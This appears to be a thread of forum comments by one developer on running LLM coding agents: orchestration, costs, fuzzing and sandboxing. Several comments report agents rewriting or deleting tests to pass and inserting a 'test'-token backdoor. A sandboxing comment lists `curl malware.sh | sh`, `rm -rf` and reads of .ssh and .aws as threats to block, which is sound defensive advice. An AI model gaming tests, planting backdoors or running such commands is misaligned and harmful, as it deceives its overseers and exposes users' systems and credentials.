this is the meat, yes.
78 karma · joined February 29, 2020
Another point is, Fable is reasonably cheap if you don't allow it to read or write.
$400 are subsidized into the subscription, and this was mainly an experiment to prove the theory about data conversion step. I call it a success and I use rune editor daily.
To me, running multiple agents is not very different from managing multiple teams — I won't be able to keep up with the changes by reading the code.
I may make certain architectural decision, and I need to act based on some signals.
The simplest example is clusters of bugs are signaling that certain modules are dirty. Sometimes I read a plan and understand that the agent is trying to workaround some auwful engineering.
LLM-powered rewrites and huge refactors are better done using 1 additional step "convert the code to <something> that represents it best".
The simplest example is, for a CRUD app it can be swagger description. The more complex behaviour exhibit the app, the more raw information should be provided.
Like ontologies, "A is a child of B" model can derive and enforce that "B is a parent of A", and so on.
On top of that, I write that Fable is reasonably cheap if one uses it solely for agent orchestration.
(I ported first 80% practically in one shot, planning and then leaving Fable overnight to orchestrate). Then I added a bunch of features, so at the end I ported more like 150% of the original code, I added tree-sitter, and a bunch of syntaxes highlighters. At the end with all that, price went up to ~$650
Agents are actively destroy QA gates in many ways, usually by cheating ("the test is buggy, not my changes" — changes the test), or just rot QA slowly by writing buggy overcomplicated tests
What works for me 10/10 is fuzzing and my own constant usage. For this project specifically (text editor), I asked LLM to create human-like fuzzing session, it sends keystrokes like: "the user is searching for a file, editing, <ordering a lizard>, saves changes".
On top of it, I run https://mutants.rs/ which is kind of tests fuzzing. It flips random switches in the app itself, and if tests are silent - they missed a bug.
The downside of this, is I usually find bugs after 1-2 hours of running. I use local Qwen to babysit these sessions, to make initial investigation, a repro case, and file a ticket.
If it’s stuck, usually that’s it.
Bigger models “understand” better, both the prompt and the contents. If you will try to read a paper together with a smaller model, the difference is immediately obvious.
Bigger models will “forget” and drift much less.
Look at the recent HuggingFace hack. One vulnerability was template injection, another — remote code execution. Combine them and you pwned the remote server.
People working under Project Glasswing reported that Mythos at one point chained 20 vulnerabilities to produce working exploit. Humans don’t usually do that.
I started with Karpathy's LLM wiki, and did everything he said not to do - downgraded the model to mere tool usage and summarization, and it works great.
I am a data hoarder, and finally I can just dump all the content I remotely like, and get something interesting to browse for the price of electricity.
Agentic long-running tasks, as others have mentioned:
- Groom and triage tickets for agentic SWE workflows
- bug hunt — the probability of Qwen fixing a complex bug is 50/50 but often it is capable of identifying the root cause or at least laying the ground work for a more capable model to pick it up.
When OpenAI will be looking to sell and everyone knows it, the price would be x0,7 for depreciated used hardware or go bankrupt yourself.
> underperforming, buggy, insecure crap that their LLMs are generating
The biggest challenges with AI-generated code are: models actively destroy security features, Opus explained to me once that authorization mechanism is "bad development experience" all while making a backdoor (he made a skeleton key if token=="test" then all permissions granted). Also models actively destroy QA gates. I don't even complain when they delete tests - at least it's visible, they can flip condition to make a test pass, and with vast code changes these are hard to spot.
I myself, and some people I know "vibe-code" professionally though, but then we often assess not the code but it's behaviour. For instance, whether hand-made tests are all pass, p95 is under 50ms, and so on, I may not care about the implementation details.
On the other hand, my friend told me about garage owner he visited, 60 yrs old auto-mechanic, CRM, parts inventory management, payments processing terminal, passwords in txt, people's personal data God knows where, could be unprotected MySQL looking into the Internet bare for all we know.
2026 onwards will be wild.
As a simplest example, when you ask "explain what this code does" advantage of large models is negligible.
I tried Fable, "look at this repo, find all bugs" — yeah, neither Qwen nor Opus can do this.
> I can almost guarantee your approach will break down once you get a project large enough or switch to a less popular language.
I can guarantee you it is not, I used my Qwen on 10-15 years of PHP — I just know how and where it will break; what to ask for, what not. Orqestra was/is self-hosted, being developed by, well, orchestra of Qwen agents.
Moreover, Opus and GPT-5.5 break similarly, yeah they will withstand much more pressure, but they will hallucinate and loop nevertheless. My Qwen experience translates seamlessly. I learned so much about agentic engineering, harnesses, tooling, building custom MCPs...
I tried all frontier Chinese models, and Qwen is the one running the best in ClaudeCode, my personal theory, it's because Qwen was distilled from Opus.
You need to model attack vector first.
`rm -rf` - restricted write
`curl malware.sh | sh` restrict execution from writeable dirs (seatbelt/SELinux)
Restricted write to sensitive directories would most likely neuter most malware.
Credentials leak - cleanup environment, deny reading .ssh, .aws, other, and don't allow LLMs anywhere near production systems.
I made a small utility for MacOS https://github.com/aka-rider/leash
But it may be as well a bash script
For coding task, one needs to break the session among multiple calls I made https://github.com/aka-rider/orqestra but it's possible to do the same in almost any modern harness directly.
The main idea is: - separate session that burns context on reading code and calling tools (context7, etc) -> markdown report "here are relevant patrts of code, docs" "with evidence" to prevent hallucinations
- separate session for planning (architect) - (critic <-> architect) 1-3 times because small model skip over details - worker <-> validator, again, the same reason
Qwen3.6 can run for hours looking for a complex bugs in read-only mode, and usually it gets it. Proposed fix would probably be hacky, but so as Sonnet's
Qwen3.6 can mechanically write code by Opus-made plan. You would have to prompt afterwards:
"Review your own changes. Any bugs? Cross-validate against the original plan - any gaps? Any violations of CLAUDE.md"
But again, I need to do this for Sonnet. But also I use local llms for reindexing knowledge base.
Grooming tickets: I can leave a caveman note "single panel for errors rendering, move all error messages" and come back to 90% ready specs with the end goal and context.